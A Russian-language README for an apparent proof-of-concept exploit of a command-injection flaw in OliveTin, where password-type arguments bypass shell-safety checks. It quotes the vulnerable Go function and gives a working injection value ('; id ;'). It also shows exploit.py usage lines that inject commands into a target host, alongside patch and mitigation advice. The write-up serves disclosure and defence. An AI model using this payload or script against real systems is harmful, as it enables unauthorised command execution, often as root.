
OliveTin позволяет администратору определять «действия»: shell-команды с параметризованными аргументами, которые пользователи могут запускать через веб-интерфейс или API. Перед подстановкой пользовательского значения в shell-команду OliveTin должен пропустить его через checkShellArgumentSafety(). Эта функция проверяет четыре типа аргументов: string, int, bool, choice. Тип password она полностью пропускает и возвращает true, то есть «безопасно», вообще не глядя на значение.
Итак, если у действия есть аргумент типа password, и этот аргумент подставляется в строку shell-команды, вы можете поместить в него что угодно. Точки с запятой, обратные кавычки, $() — что угодно. Если аргумент заключён в кавычки в самой команде (распространённый приём для таких вещей, как пароли баз данных), достаточно выйти за пределы кавычки.
func checkShellArgumentSafety(argType string, value string) bool {
dangerousTypes := []string{"string", "int", "bool", "choice"}
for _, dt := range dangerousTypes {
if argType == dt {
return sanitizeInput(value)
}
}
// password type falls through here, unchecked
return true
}
Уязвимость затрагивает OliveTin вплоть до версии 3000.10.0. Исправлено в ветке 3000.11.1 (коммит 0.0.0-20260222101908-4bbd2eab1532), где password добавлен в проверяемые типы. Консультация: GHSA-49gm-hh7w-wfvf. CVSS 9.9.
Всё, где аргумент типа password оказывается внутри shell-строки, обычно в кавычках:
- title: Backup database
id: backup_db
shell: "mysqldump -u {{ db_user }} -p'{{ db_pass }}' {{ db_name }} > /tmp/backup.sql"
arguments:
- name: db_user
type: ascii_identifier
- name: db_pass
type: password
- name: db_name
type: ascii_identifier
db_pass находится внутри одинарных кавычек, и ничто его не проверяет. Передайте '; id ;' в качестве значения — и OliveTin выполнит id до того, как некорректный вызов mysqldump завершится ошибкой. Ошибка не имеет значения: внедрённая команда уже выполнилась, и от имени того пользователя, под которым работает OliveTin. Во многих конфигурациях это root, потому что люди запускают его в systemd без строки User= и больше об этом не задумываются.
Для всего этого не нужны учётные данные, если в экземпляре установлено authRequireGuestsToLogin: false, что часто встречается в небольших или любительских развёртываниях.
pip install requests
python3 exploit.py -u <target> --action backup_db --arg db_pass -x "id"
Если действию требуются другие аргументы, чтобы выполниться без ошибок до того, как сработает ваша внедрённая команда, передайте их через --extra-arg:
python3 exploit.py -u 10.0.0.5 --action backup_db --arg db_pass \
--extra-arg db_user=admin --extra-arg db_name=prod -x "whoami"
Скрипт отправляет POST-запрос к StartAction, ждёт две секунды, затем опрашивает ExecutionStatus и выводит то, что пришло в ответ. Обычно вы увидите вывод внедрённой команды над ошибкой от легитимной команды, которая выполнилась следом и упала. Это ожидаемо. Ошибка косметическая; ваша команда уже выполнилась.
Обновите OliveTin до версии новее 3000.10.0. Если пока нельзя: уберите любые аргументы типа password из действий, доступных недоверенным пользователям, отключите гостевой доступ к выполнению и вообще перестаньте позволять подставлять значения аргументов в shell-строки, если есть такая возможность. Вместо этого передавайте секреты через переменные окружения или файл, который OliveTin читает по фиксированному пути. И не запускайте сервис от root. Планировщику задач это ни к чему.
exploit.py: скрипт PoCREADME.md: этот файлЭто здесь для тех, кто обновляет собственные экземпляры OliveTin, пишет правила обнаружения или тестирует системы, которые им разрешено проверять. Не направляйте его на то, чем вы не владеете или к чему у вас нет разрешения. Ответственность за это лежит на вас, а не на том, кто это написал.
| флаг | назначение | по умолчанию |
|---|
-u, --url | целевой хост или IP | обязательно |
-p, --port | порт OliveTin | 1337 |
--action | bindingId уязвимого действия | обязательно |
--arg | имя аргумента типа password | обязательно |
-x, --cmd | команда для внедрения | id |
--extra-arg | остальные аргументы, необходимые действию, в формате name=value, можно повторять | нет |